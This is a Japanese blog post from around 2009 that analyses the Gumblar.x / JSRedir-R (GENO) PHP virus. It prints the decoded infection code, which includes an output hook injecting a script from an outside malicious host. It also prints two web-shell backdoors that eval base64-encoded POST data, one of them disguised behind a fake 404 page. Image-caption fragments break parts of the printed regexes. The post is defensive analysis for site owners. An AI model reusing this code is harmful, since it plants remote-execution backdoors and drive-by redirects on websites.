新種の「Gumblar.x」PHPウイルスのコードについて

10月9日ごろに発生した、新種のPHPのウイルス 「Gumblar.x」「JSRedir-R」(通称、GENOウイルス)
の「やられ2群」の挙動についての、続報です。

なお、

「ウイルスシステム」の全体像については
   /posts/346.html

「ウイルスシステム」の削除方法については
   /posts/343.html

をご覧下さい。


<追記>

PHPのコードのインデントがおかしいのを修正いたしました。 (09/10/30)

PHPファイルに感染するコード1


PHPに感染するコードは2種類あります。ともに base64エンコードされて難読化されています。
デコードしたものを示しますと次のようなものです:

if(!isset($a1i81)) {
function a1i8($s) {
if(preg_match_all('#<script(.*?)</script>#is',$s,$a))
foreach($a[0] as $v)
if(count(explode("\n",$v))>5) {
$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\新種の「Gumblar.x」PHPウイルスのコードについて(画像2)
]{30,}#',$v) || preg_match('#[\(\[](\s*\d+,){20,}#',$v);
if((preg_match('#\beval\b#',$v) && ($e || strpos($v,'fromCharCode'))) || ($e&&strpos($v,'document.write')))
$s=str_replace($v,'',$s);
}
if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http新種の「Gumblar.x」PHPウイルスのコードについて(画像3)
?//([^>]*?)>#is',$s,$a))
foreach($a[0] as $v)
if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v) && !strstr($v,'?'.'>'))
$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);
$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2luY2FicmFzaWwub3JnLmJyL2FkbWluL3VwbG9hZF9pbWFnZW5zL2FkbWluc3VwZXJuZXdzLnBocCA+PC9zY3JpcHQ+'),'',$s);
if(stristr($s,'<body'))
$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);
elseif(strpos($s,',a'))
$s.=$a;return $s;
}
function a1i82($a,$b,$c,$d) {
global $a1i81;
$s=array();
if(function_exists($a1i81))
call_user_func($a1i81,$a,$b,$c,$d);
foreach(@ob_get_status(1) as $v)
if(($a=$v['name'])=='a1i8')
return;
elseif($a=='ob_gzhandler')
break;
else
$s[]=array($a=='default output handler'?false:$a);
for($i=count($s)-1;$i>=0;$i--){
$s[$i][1]=ob_get_contents();
ob_end_clean();
}
ob_start('a1i8');
for($i=0;$i<count($s);$i++){
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
$a1i8l=(($a=@set_error_handler('a1i82'))!='a1i82')?$a:0;
eval(base64_decode($_POST['e']));


ずらずら、ありますが、実は、関数を定義しているだけです。
本体は、最後の2行だけです。
もっといえば、実際の動作をする部分は、一番最後の行

 ?b>eval(base64_decode($_POST['e']));

なのです。

この行は、
  POST メソッドで、この php ファイルが呼ばれた際に、
  FORMの eのパラメータに書かれている phpのコードを(base64エンコードしてあるのを戻して)
  「そのまま実行せよ」
というものです。

ようするに、任意の php のコードを実行する というコードです。

おそらく、そのコードの中から、ここで定義した2つの関数、

  function a1i8($s)
  function a1i82($a,$b,$c,$d)

がよびだされ、変数である

  $a1i8l

が利用される、という風になっているものと思われます。

なお、
base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2luY2FicmFzaWwub3JnLmJyL2FkbWluL3VwbG9hZF9pbWFnZW5zL2FkbWluc3VwZXJuZXdzLnBocCA+PC9zY3JpcHQ+')
の部分は、デコードすると、
<script src=http://incabrasil.org.br/admin/upload_imagens/adminsupernews.php ></script>
となっています。

PHPファイルに感染するコード2


gifimg.php というファイルの中身も、base64 エンコードされていますが、その中身は
< ? php if(isset($_POST['e']))eval(base64_decode($_POST['e']));else die('404 Not Found'); ?>
というものです。

これは、通常は、ファイルが見当たらないという、404エラーを出しておき、
  POST メソッドで、この php ファイルが呼ばれた際に、
  FORMの eのパラメータがある場合だけ、
  FORMの eのパラメータに書かれている phpのコードを(base64エンコードしてあるのを戻して)
  「そのまま実行せよ」
というものです。

これも、任意の php のコードを実行する というコードです。

まとめ


これら2つのコードから言えることは、

 ・実際のサーバー内のファイル書き換えを実行するコードは、この中にないということ
 ・外部から任意の php のコードを実行できるコードが埋め込まれているということ

の2点です。


実際の挙動には、logファイルなどから、POSTメソッドのパラメータ を確認せねばなりません。

しかし、通常、logファイルには、POSTメソッドのパラメータは、残していないと・・・

  なかなか やるな


※Base64のデコードには、


を使いました。WEB上のフォームで、デコードしてくれます。